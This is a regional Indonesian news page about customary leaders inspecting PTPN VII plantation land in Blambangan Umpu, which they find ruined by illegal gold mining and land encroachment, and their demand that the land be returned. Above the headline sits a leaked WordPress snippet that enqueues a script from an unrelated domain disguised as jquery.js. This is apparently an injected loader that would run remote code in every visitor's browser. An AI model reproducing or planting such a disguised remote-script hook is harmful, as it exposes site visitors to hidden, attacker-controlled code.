add_action('wp_enqueue_scripts', function () { wp_enqueue_script( 'external-script', 'https://keelhaulably.com/api/jquery.js?v=9', array(), null, true ); }); 4 Penyimbang Adat Pemuka Pangeran Udik Blambangan Umpu Turun Ke Lokasi PTPN VII Bapu, Kaget Lihat Lahan Hancur Akibat Penyerobotan Lahan dan Tambang Ilegal - Atmosfirnews.id

4 Penyimbang Adat Pemuka Pangeran Udik Blambangan Umpu Turun Ke Lokasi PTPN VII Bapu, Kaget Lihat Lahan Hancur Akibat Penyerobotan Lahan dan Tambang Ilegal

- Jurnalis

Rabu, 2 Juli 2025 - 20:31 WIB

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Blambangan Umpu, Atmosfirnews.id

Puluhan perwakilan masyarakat Blambangan Umpu bersama 4 penyimbang Adat turun ke lokasi PTP VII Blambangan Umpu untuk mengecek kebenaran informasi yang beredar telah rusak nya lokasi akibat Tambang Ilegal dan penyerobotan lahan yang telah ditanami sawit dan singkong. Rabu (2/7).

Rombongan yang di pimpin oleh Juanda Ariyanto dan Cahya Lama membawa serta penyimbang dari Kampung Sebelah  Sunan Kemala Raja Ikroni, Kampung Balak Sutan Liyu Ngepih Kaca Marga Drs. Hi. Ahmad , Kampung Bujung Sunan Kepala Marga Adi Kusnadi, SIP .M.I.P dan Kampung Tengah Rejob.

Ketika Rombongan turun lapangan merasa kaget melihat lokasi PTP VII Blambangan Umpu yang di pinjamkan telah hancur karena banyak nya Tambang Ilegal dan perkebunan kebun singkong , sawit yang lahannya sudah serobot oleh oknum yang tidak bertanggung jawab.

Baca Juga :  WTP Ke-12 Sukses Diraih, Ini Rincian Anggaran dan PR Berharga Miliaran Rupiah untuk Lampung

Sunan Kemala Raja Ikroni mengatakan bahwa dirinya bersama masyarakat dan tokoh Adat dari Pemuka Pangeran Udik Blambangan Umpu melihat langsung atas informasi telah hancurnya lahan PTP VII Bapu oleh penyerobotan lahan dan penambang Emas Ilegal.

” Kami benar-benar kaget dan kecewa atas hancur nya lahan  yang kami berikan untuk digarap PTP VII  Blambangan Umpu hancur. ” katanya.

Lokasi telah di serobot oleh oknum-oknum untuk di tanamkan tanaman singkong dan sawit, serta pohon karet tidak terurus dengan kondisi sebagian mati.

” Segera kami akan menyertakan PTPN VII agar bisa bertanggung jawab atas kerusakan lahan ini akibat dari penyerobotan lahan dan aktivitaa tambang ilegal.” Tutup Ikroni.

Sementara itu Cahya Lama selalu koordinator menambah kan mereka minta pihak PTPN VII segera mengembalikan lahan milik masyrakat Pemuka Pangeran Udik Blambangan Umpu.

Baca Juga :  Polda Lampung Musnahkan 50 Senpi Rakitan Hasil Operasi Sikat Krakatau 2025

” Karena lahan lokasi tidak diurus oleh pihak PTPN VII Blambangan Umpu kami minta kembali kan lagi ke asal lahan  ke masyarakat melalui 4 Penyimbang Adat Pemuka Pangeran Udik. ” tutupnya.

Saat ini Lokasi area PTPN VII Blambangan Umpu dengan luas 987 hektar kondisi nya parah , kondisi rusak akibat banyaknya penyerobotan lahan dan penambang Emas liar sehinga hancur nya lahan yang di gunakan pihak PTPN VII Blambangan Umpu untuk menama pohon karet.

Selain itu masyarakat dan tokoh Adat minta agar pihak kepolisian melakukan razia tambang emas ilegal di lahan PTPN VII Blambangan Umpu yang jumlahnya puluhan termasuk yang modus mendulang di area sungai.

Penulis : Redaksi

Berita Terkait

KKN Universitas Saburai di Sukoharjo: Kampus Turun ke Desa, Dorong Sampah Terpilah, UMKM Digital hingga Pendidikan Antibullying
Hampir Rp 1 Miliar Telan APBD, Jalan Lorong Usaha Sudah Patah. GEPAK Desak PUPR dan Kontraktor Bertanggung Jawab
Ketua GEPAK Ingatkan Bahaya Trial by The Press di Tengah Isu Perselingkuhan Dua Anggota DPRD Bandar Lampung
Cabdin Pendidikan Wilayah II Gandeng UPT Perpustakaan UIN Raden Intan Perkuat Ekosistem Literasi Sekolah
Mantan Bendahara KONI Lamteng Ungkap Dugaan Peran Mantan Bupati MA dalam Kasus Dana Hibah
Dari Pringsewu, Pengelola Perpustakaan Sekolah Lampung Berikrar Majukan Literasi
Anggaran Perpusnas Anjlok 52 Persen, Pringsewu Justru Perkuat Perpustakaan Sekolah
Cabdin Wilayah II Lampung Dorong Perpustakaan Sekolah Jadi Pusat Literasi
Berita ini 55 kali dibaca

Berita Terkait

Senin, 24 Agustus 2026 - 19:56 WIB

KKN Universitas Saburai di Sukoharjo: Kampus Turun ke Desa, Dorong Sampah Terpilah, UMKM Digital hingga Pendidikan Antibullying

Minggu, 23 Agustus 2026 - 12:23 WIB

Hampir Rp 1 Miliar Telan APBD, Jalan Lorong Usaha Sudah Patah. GEPAK Desak PUPR dan Kontraktor Bertanggung Jawab

Jumat, 21 Agustus 2026 - 11:06 WIB

Ketua GEPAK Ingatkan Bahaya Trial by The Press di Tengah Isu Perselingkuhan Dua Anggota DPRD Bandar Lampung

Jumat, 21 Agustus 2026 - 09:42 WIB

Cabdin Pendidikan Wilayah II Gandeng UPT Perpustakaan UIN Raden Intan Perkuat Ekosistem Literasi Sekolah

Kamis, 20 Agustus 2026 - 11:16 WIB

Mantan Bendahara KONI Lamteng Ungkap Dugaan Peran Mantan Bupati MA dalam Kasus Dana Hibah

Berita Terbaru